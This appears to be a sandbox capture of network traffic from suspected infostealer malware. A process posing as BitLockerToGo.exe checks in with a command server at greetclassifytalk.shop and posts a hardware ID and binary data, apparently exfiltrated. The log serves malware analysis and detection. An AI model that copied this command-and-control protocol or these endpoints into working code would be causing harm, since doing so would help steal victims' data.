Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:17 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 61 Host: greetclassifytalk.shop
2024-05-02 15:58:17 UTC	61	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 86 e7 8e 8b e5 a7 90 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=4sxFKu--&j=default
2024-05-02 15:58:17 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=led54v8l6jsnl4skdt4cqtqvr2; expires=Mon, 26-Aug-2024 09:44:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zeJIWN6W%2F2VC5fkdNoNYRaVidQ8bdh12ECIFpxYe9zKhsYtgha1MyeBelQTAPjP9%2BtNMGq63bZB9U1mUMavywGgQREH2byOylWCF%2F4%2FxyB6GHqAYV65xUBT2Q9Tac68JEQOeolTBSM1l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d9363ece715e86-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:17 UTC	563	IN	Data Raw: 33 64 62 34 0d 0a 46 41 38 6f 48 62 37 6e 70 45 68 76 6c 49 33 78 35 48 45 7a 62 50 66 36 63 44 76 51 50 52 50 49 70 4f 32 56 42 47 6a 6c 64 34 70 76 42 53 45 2f 79 4d 57 65 61 46 75 34 68 2f 6a 47 41 6c 5a 4f 7a 64 6f 45 53 61 56 59 50 38 4b 74 7a 2f 52 67 53 74 39 58 37 48 56 6a 57 33 69 53 37 61 31 71 41 75 79 76 79 38 51 71 4f 57 57 4d 38 48 6b 79 38 6c 68 39 36 70 37 4e 74 33 4d 4e 68 78 4c 79 59 47 70 47 62 74 65 49 79 67 67 43 38 66 6d 51 69 52 42 41 42 39 6d 54 48 78 6e 38 4e 78 72 42 68 6f 6a 76 4a 6c 4c 46 56 63 64 78 65 30 6c 51 33 35 54 50 61 6b 4f 65 68 50 6a 47 46 45 64 4f 7a 64 70 53 5a 2f 4a 4e 63 72 72 46 67 4f 5a 59 53 74 38 4d 31 6a 5a 6d 58 48 6a 4d 68 74 41 68 41 50 72 2b 72 63 5a 4c 42 56 7a 48 79 6b 41 4c 72 52 38 5a 77 64 6e 6e 6e Data Ascii: 3db4FA8oHb7npEhvlI3x5HEzbPf6cDvQPRPIpO2VBGjld4pvBSE/yMWeaFu4h/jGAlZOzdoESaVYP8Ktz/RgSt9X7HVjW3iS7a1qAuyvy8QqOWWM8Hky8lh96p7Nt3MNhxLyYGpGbteIyggC8fmQiRBAB9mTHxn8NxrBhojvJlLFVcdxe0lQ35TPakOehPjGFEdOzdpSZ/JNcrrFgOZYSt8M1jZmXHjMhtAhAPr+rcZLBVzHykALrR8Zwdnnn
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 52 49 39 6e 49 50 49 4b 77 44 32 2f 5a 75 4e 47 46 51 63 6e 70 45 66 56 4c 4a 53 65 36 58 46 6a 2f 42 73 41 49 67 66 37 48 74 67 54 48 2f 63 78 59 68 43 5a 70 32 76 6c 4a 35 54 43 55 7a 56 75 78 64 4a 74 56 4e 6e 36 50 7a 50 6e 77 30 56 79 58 36 71 4e 41 55 68 5a 72 54 75 72 57 6f 4b 2b 71 2f 4c 78 46 4e 5a 43 35 61 62 47 56 61 78 56 33 71 34 78 70 33 78 61 77 2b 56 45 2b 31 34 5a 30 6c 74 31 6f 76 41 4b 51 54 39 35 70 61 42 46 78 46 41 2f 66 4e 35 47 62 56 48 4d 66 4b 45 7a 39 5a 72 41 59 73 66 2f 33 59 74 49 68 54 44 79 36 35 42 46 4a 36 45 2b 4d 59 55 58 55 37 4e 32 6c 4a 64 73 31 74 77 72 73 69 42 38 32 6f 4d 69 52 6a 6e 63 47 64 4b 65 4e 61 4e 7a 69 73 41 2f 65 43 54 67 78 35 56 43 4a 6d 5a 46 78 6e 38 4e 78 72 42 68 6f 6a 76 4a 6c 4c 46 56 63 5a 78 Data Ascii: RI9nIPIKwD2/ZuNGFQcnpEfVLJSe6XFj/BsAIgf7HtgTH/cxYhCZp2vlJ5TCUzVuxdJtVNn6PzPnw0VyX6qNAUhZrTurWoK+q/LxFNZC5abGVaxV3q4xp3xaw+VE+14Z0lt1ovAKQT95paBFxFA/fN5GbVHMfKEz9ZrAYsf/3YtIhTDy65BFJ6E+MYUXU7N2lJds1twrsiB82oMiRjncGdKeNaNzisA/eCTgx5VCJmZFxn8NxrBhojvJlLFVcZx
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 32 58 77 53 4d 45 2f 4f 36 64 69 52 68 64 43 34 65 54 48 56 47 39 58 6e 79 6e 7a 59 76 33 4a 6b 54 76 66 6f 4d 32 61 6c 49 2f 68 4d 65 47 43 77 44 35 2f 5a 43 58 55 57 51 4e 6d 35 59 56 54 2f 49 33 47 72 57 49 35 35 78 2f 59 75 78 2b 71 48 46 68 43 69 65 65 78 63 63 6d 41 66 66 67 6c 59 77 62 55 67 2b 48 6b 52 31 52 76 56 5a 77 71 63 4b 4f 2f 58 51 59 68 78 6e 36 65 6d 64 4d 63 4e 47 4a 68 6d 52 6c 6e 59 54 54 67 51 73 52 56 74 66 59 4f 46 71 6d 58 48 76 6f 38 34 7a 35 61 41 32 52 56 59 41 64 63 67 51 58 74 35 79 75 51 57 61 32 36 4a 2f 47 53 78 4e 4f 6d 4a 6b 61 58 36 42 51 66 4b 6e 49 67 66 68 6a 42 59 38 56 36 48 74 6f 54 6e 54 58 68 73 73 75 48 2f 7a 76 6d 34 4d 53 57 77 54 56 31 6e 6f 79 32 52 39 32 73 6f 62 58 74 53 59 37 6b 42 36 71 51 32 35 45 63 Data Ascii: 2XwSME/O6diRhdC4eTHVG9XnynzYv3JkTvfoM2alI/hMeGCwD5/ZCXUWQNm5YVT/I3GrWI55x/Yux+qHFhCieexccmAffglYwbUg+HkR1RvVZwqcKO/XQYhxn6emdMcNGJhmRlnYTTgQsRVtfYOFqmXHvo84z5aA2RVYAdcgQXt5yuQWa26J/GSxNOmJkaX6BQfKnIgfhjBY8V6HtoTnTXhssuH/zvm4MSWwTV1noy2R92sobXtSY7kB6qQ25Ec
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 76 41 50 48 6b 6b 4a 51 42 55 67 71 62 6c 46 49 58 32 6a 51 61 36 73 47 58 74 7a 35 49 78 7a 44 2f 64 58 31 4d 66 4a 7a 74 72 54 56 44 6e 6f 53 4b 37 6e 67 36 54 70 4b 55 55 67 48 77 48 33 47 6b 79 6f 54 77 62 51 47 44 45 65 68 37 5a 6b 52 78 31 59 6e 4f 4a 67 72 6b 34 70 61 4f 47 56 67 4c 6d 5a 55 52 53 37 46 65 4d 65 53 75 35 4a 77 6d 44 5a 39 56 73 44 51 74 62 55 7a 72 70 6f 5a 43 5a 75 6d 68 2b 2b 30 4b 4f 57 58 2b 32 42 56 56 38 67 63 7a 36 73 65 48 38 47 67 4f 6c 52 76 36 65 47 70 4b 65 64 53 4e 77 53 59 44 2b 50 32 62 68 78 4e 66 41 5a 32 52 46 6c 69 32 57 33 32 74 68 73 47 66 44 57 48 48 45 76 41 32 4e 51 67 2f 39 49 62 63 4d 45 2f 59 35 4a 4f 42 41 30 63 56 31 66 42 35 52 76 77 33 47 72 4f 75 35 4a 77 6d 44 59 74 56 73 44 51 74 54 6e 54 57 6a 4d Data Ascii: vAPHkkJQBUgqblFIX2jQa6sGXtz5IxzD/dX1MfJztrTVDnoSK7ng6TpKUUgHwH3GkyoTwbQGDEeh7ZkRx1YnOJgrk4paOGVgLmZURS7FeMeSu5JwmDZ9VsDQtbUzrpoZCZumh++0KOWX+2BVV8gcz6seH8GgOlRv6eGpKedSNwSYD+P2bhxNfAZ2RFli2W32thsGfDWHHEvA2NQg/9IbcME/Y5JOBA0cV1fB5Rvw3GrOu5JwmDYtVsDQtTnTWjM
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 35 5a 71 46 48 31 63 50 6d 35 67 63 57 66 49 52 47 63 47 74 7a 2f 42 2b 53 74 39 58 71 46 5a 6d 58 47 72 66 6c 63 41 74 41 62 61 48 2b 4a 6c 64 4f 57 57 4d 38 48 6b 79 38 6c 68 39 36 70 37 4e 74 32 67 59 67 78 54 6f 66 6d 52 47 64 4e 53 58 77 53 30 47 2b 4f 47 59 67 68 39 59 42 5a 79 64 48 6c 69 35 56 6e 53 75 7a 49 6e 36 4a 6b 54 76 66 6f 4d 32 61 6c 49 2f 68 4d 65 47 42 67 37 35 35 4e 50 75 65 45 35 41 2f 66 4d 4c 4d 64 6b 30 4d 61 33 4b 7a 36 38 6b 53 6f 41 64 34 48 68 75 54 48 54 51 69 63 63 6a 43 2f 50 6e 6c 49 6b 55 57 41 6d 56 6e 67 42 65 76 31 5a 78 6f 63 2b 46 38 32 63 42 78 31 75 41 48 51 59 4b 65 4d 54 46 6e 6d 68 4e 78 4f 69 46 6c 68 41 52 5a 76 36 48 58 44 4c 61 4e 47 6a 43 72 65 53 33 59 51 62 48 54 61 6f 32 59 46 68 2b 32 5a 66 43 4a 51 62 Data Ascii: 5ZqFH1cPm5gcWfIRGcGtz/B+St9XqFZmXGrflcAtAbaH+JldOWWM8Hky8lh96p7Nt2gYgxTofmRGdNSXwS0G+OGYgh9YBZydHli5VnSuzIn6JkTvfoM2alI/hMeGBg755NPueE5A/fMLMdk0Ma3Kz68kSoAd4HhuTHTQiccjC/PnlIkUWAmVngBev1Zxoc+F82cBx1uAHQYKeMTFnmhNxOiFlhARZv6HXDLaNGjCreS3YQbHTao2YFh+2ZfCJQb
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 52 42 65 44 5a 61 5a 47 45 75 67 55 33 69 69 77 34 50 38 61 41 79 56 45 2b 64 2f 62 6b 6c 32 32 34 33 4b 49 41 37 78 72 39 33 75 65 44 70 4f 6b 6f 42 53 41 66 41 66 55 72 33 57 67 72 63 4f 59 5a 68 62 67 42 31 30 49 68 53 33 78 63 45 6d 54 61 36 74 30 34 34 65 57 51 53 52 6e 78 39 65 74 46 5a 6a 6f 38 4f 42 39 32 49 42 69 42 50 73 64 57 31 59 65 64 69 4e 78 53 63 41 2b 4f 79 58 78 6c 30 35 5a 66 37 59 46 55 48 79 42 7a 50 71 39 49 4c 35 66 51 57 41 42 4f 49 32 42 53 46 67 6b 75 32 74 4d 32 57 64 68 4e 4f 42 48 78 46 57 31 39 67 57 56 36 42 55 63 4b 48 4e 67 66 42 70 44 34 30 56 35 33 4a 75 52 48 54 64 68 73 34 6e 41 50 6a 6c 6d 6f 38 55 58 51 71 53 32 46 77 78 32 54 51 78 72 64 37 50 72 79 52 4b 72 44 54 46 57 6d 70 51 50 37 54 75 32 57 52 6c 6e 66 62 37 Data Ascii: RBeDZaZGEugU3iiw4P8aAyVE+d/bkl2243KIA7xr93ueDpOkoBSAfAfUr3WgrcOYZhbgB10IhS3xcEmTa6t044eWQSRnx9etFZjo8OB92IBiBPsdW1YediNxScA+OyXxl05Zf7YFUHyBzPq9IL5fQWABOI2BSFgku2tM2WdhNOBHxFW19gWV6BUcKHNgfBpD40V53JuRHTdhs4nAPjlmo8UXQqS2Fwx2TQxrd7PryRKrDTFWmpQP7Tu2WRlnfb7
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 69 59 69 46 49 78 32 55 41 2f 77 71 32 57 6e 77 31 68 78 78 4c 6b 4e 6a 55 49 50 39 71 4d 77 43 30 4c 2b 50 32 57 67 42 78 65 42 35 79 63 47 6c 71 79 57 33 57 74 77 34 7a 37 62 51 32 45 47 75 78 2f 59 30 4e 77 6e 4d 75 75 51 57 61 32 36 49 76 47 53 78 4e 4f 74 49 4d 52 56 62 38 66 47 63 48 5a 77 5a 38 4e 45 2b 39 2b 67 7a 5a 71 52 6a 2b 45 78 34 59 6d 41 2f 50 76 6d 59 41 58 56 41 69 66 6e 52 4a 53 73 56 42 31 72 4d 4b 41 39 32 30 44 68 68 50 74 66 47 5a 4d 63 74 2b 44 77 47 70 44 6e 6f 54 34 78 68 52 4a 54 73 33 61 55 6e 6d 70 55 6e 32 74 68 75 65 63 65 55 54 76 66 76 45 65 42 69 45 2f 32 34 6d 47 63 6b 2b 32 35 4a 2b 43 46 46 45 44 6c 70 41 58 58 62 68 61 63 61 4c 55 68 2f 64 68 47 4a 55 56 34 58 4e 68 53 58 2f 59 67 38 38 73 44 76 4b 76 33 65 35 34 4f Data Ascii: iYiFIx2UA/wq2Wnw1hxxLkNjUIP9qMwC0L+P2WgBxeB5ycGlqyW3Wtw4z7bQ2EGux/Y0NwnMuuQWa26IvGSxNOtIMRVb8fGcHZwZ8NE+9+gzZqRj+Ex4YmA/PvmYAXVAifnRJSsVB1rMKA920DhhPtfGZMct+DwGpDnoT4xhRJTs3aUnmpUn2thueceUTvfvEeBiE/24mGck+25J+CFFEDlpAXXbhacaLUh/dhGJUV4XNhSX/Yg88sDvKv3e54O
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 53 41 66 41 66 52 4b 6e 49 67 66 42 77 47 38 6f 79 35 6e 46 73 58 47 2f 4c 69 6f 5a 6b 5a 5a 32 45 30 34 42 54 43 55 7a 47 31 6e 6f 79 32 52 39 31 75 34 62 58 74 54 5a 59 33 45 43 37 49 54 30 59 46 37 65 61 69 45 4a 6d 37 34 66 34 37 56 4e 48 54 73 33 61 51 42 66 61 4e 42 72 71 31 4d 2b 76 4a 45 72 41 46 76 70 6b 61 30 6c 70 33 38 4c 34 46 43 72 67 35 5a 53 57 46 45 59 42 31 64 5a 36 4d 74 6b 66 66 75 71 65 7a 63 34 4f 59 65 78 2b 71 48 39 71 55 57 37 4b 69 4e 59 74 54 5a 36 45 2b 4c 6c 64 4f 57 58 2b 32 41 6f 5a 36 68 30 78 6e 38 57 42 2b 57 45 63 6c 6c 6a 50 59 47 64 4e 62 39 75 53 79 57 70 44 6e 6f 54 34 78 68 55 52 56 74 66 4c 58 44 48 5a 4e 44 47 75 31 38 2b 76 4a 46 72 56 54 72 30 6c 4f 68 6f 74 74 4f 37 5a 5a 47 57 64 39 76 76 74 65 42 45 59 31 63 Data Ascii: SAfAfRKnIgfBwG8oy5nFsXG/LioZkZZ2E04BTCUzG1noy2R91u4bXtTZY3EC7IT0YF7eaiEJm74f47VNHTs3aQBfaNBrq1M+vJErAFvpka0lp38L4FCrg5ZSWFEYB1dZ6Mtkffuqezc4OYex+qH9qUW7KiNYtTZ6E+LldOWX+2AoZ6h0xn8WB+WEclljPYGdNb9uSyWpDnoT4xhURVtfLXDHZNDGu18+vJFrVTr0lOhottO7ZZGWd9vvteBEY1c
2024-05-02 15:58:17 UTC	1369	IN	Data Raw: 48 33 4b 34 31 4d 44 6d 63 41 65 58 45 71 52 2b 66 45 64 7a 6e 4d 75 45 61 6b 48 79 35 4a 2b 44 46 45 46 42 68 34 67 5a 56 61 51 54 64 62 69 47 77 62 55 6d 47 34 77 61 2b 6e 68 71 42 57 37 4b 69 4e 59 70 43 50 47 6a 6d 35 63 65 58 55 37 62 32 6c 4a 4d 75 56 4e 33 70 39 50 41 35 6e 41 4a 6b 52 4b 6b 66 6e 78 48 63 35 79 36 69 45 4a 6d 6e 61 2b 4c 78 6b 73 54 54 71 43 62 48 46 65 31 53 57 44 6e 35 6f 54 37 5a 51 61 47 45 71 67 34 42 53 45 55 6e 49 4f 47 63 6b 2b 6c 6f 66 76 74 65 42 45 4b 68 4e 68 4b 47 2b 49 4e 4b 76 2b 56 32 4b 63 30 59 75 77 4b 70 68 34 47 55 78 65 33 37 6f 59 38 54 61 36 74 77 63 68 37 4f 6d 58 56 69 6c 49 42 38 42 38 32 71 64 53 64 38 57 55 63 68 46 4c 57 53 47 78 48 63 4a 43 4c 7a 53 6f 4b 35 76 6d 49 79 68 74 53 46 49 2b 6d 4c 48 4b Data Ascii: H3K41MDmcAeXEqR+fEdznMuEakHy5J+DFEFBh4gZVaQTdbiGwbUmG4wa+nhqBW7KiNYpCPGjm5ceXU7b2lJMuVN3p9PA5nAJkRKkfnxHc5y6iEJmna+LxksTTqCbHFe1SWDn5oT7ZQaGEqg4BSEUnIOGck+lofvteBEKhNhKG+INKv+V2Kc0YuwKph4GUxe37oY8Ta6twch7OmXVilIB8B82qdSd8WUchFLWSGxHcJCLzSoK5vmIyhtSFI+mLHK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:19 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18170 Host: greetclassifytalk.shop
2024-05-02 15:58:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:19 UTC	2839	OUT	Data Raw: 79 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 Data Ascii: yA~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'
2024-05-02 15:58:20 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1diqf5ke566l5ueoltgghrml8r; expires=Mon, 26-Aug-2024 09:44:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wYqHwWEEQAssJbcaFuPg2Omdi9%2FkXZ8qgiJGSIeW%2Fa2JfbmMNS5xCO1jUxnjjYWo7AxRaYtpHD4j2dLRXbzpcfRkpRpmB1xTUaqjmpFU5QSBwv1rxglLeuyYO92pihdc7lcNbbjOfE92"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d9364d1d93427c-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:58:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:20 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8791 Host: greetclassifytalk.shop
2024-05-02 15:58:20 UTC	8791	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:21 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=407potlalcjn46qugpf48i3bsc; expires=Mon, 26-Aug-2024 09:44:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=no1My2MJgfQDXaBjoW5%2Bu8yHimdeN5OPNdpzDslGA7xx5PZWNlPonQ2aT8CF2M3yLjyN6Le16Jio0GGsb8mcaOTO%2Fszwf%2Fw8hlc2bYtJ6gcGhdzmRh8b35Wag477gDJYcj3m2xlH%2ByJV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d93652f8e9421d-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:58:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:21 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20444 Host: greetclassifytalk.shop
2024-05-02 15:58:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:21 UTC	5113	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 Data Ascii: `M?lrQMn 64F6(X&7~
